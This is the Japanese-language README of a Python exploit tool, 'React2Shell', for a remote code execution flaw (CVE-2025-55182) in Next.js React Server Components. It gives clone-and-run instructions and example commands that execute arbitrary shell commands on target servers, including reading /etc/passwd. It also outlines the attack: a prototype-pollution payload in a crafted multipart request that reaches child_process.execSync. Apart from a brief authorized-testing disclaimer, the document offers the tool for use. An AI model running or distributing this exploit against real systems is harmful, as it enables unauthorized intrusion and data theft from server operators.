React2Shell エクスプロイト (CVE-2025-55182)

Next.js React Server Components のRCE脆弱性を狙ったPythonエクスプロイト。HTTP/HTTPS対応。

🚀 Quick Start

# Clone & run
git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git
cd react2shell-CVE-2025-55182
python3 exploit_react2shell.py <URL> "<command>"

📖 Usage

# HTTP
python3 exploit_react2shell.py http://target.com:3000 "id"
python3 exploit_react2shell.py 192.168.1.100:8080 "ls -la"

# HTTPS
python3 exploit_react2shell.py https://target.com "whoami"
python3 exploit_react2shell.py https://target.com:8443 "cat /etc/passwd"

✨ Features

✅ HTTPおよびHTTPSサポート
✅ スマートなURL解析（プロトコル自動検出）
✅ UX向上のためのアニメーションローダー
✅ 生ソケット実装（依存関係なし）
✅ 出力の自動抽出
✅ 安全な接続のためのSSL/TLSサポート

⚠️ Legal Notice

許可されたセキュリティテスト専用です。
自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。違法行為に使用しないでください。

📋 Requirements

Python 3.6+
外部依存関係なし

🔧 How It Works

ターゲットURLを解析（http://、https://、またはスキームなしに対応）
生ソケット接続を確立（HTTPSの場合はSSL）
プロトタイプ汚染ペイロードを含む細工済みmultipart/form-dataリクエストを送信
child_process.execSync() を介してRCEをトリガー
サーバー応答からコマンド出力を抽出

🐛 Troubleshooting

接続拒否: サーバーが実行中か確認してください
SSLエラー: ターゲットに証明書の問題がある可能性があります
タイムアウト: サーバーが遅い可能性があります - タイムアウトを増やしてください
数値出力: コマンド出力が切り捨てられる可能性があります

📄 License

MITライセンス - LICENSEファイルを参照

免責事項: 教育目的のみ。常に適切な許可を得てください。

最終更新日: 2025年2月8日
バージョン: 2.0.0 メンテナー: BrianLopezM99

react2shell-CVE-2025-55182

人気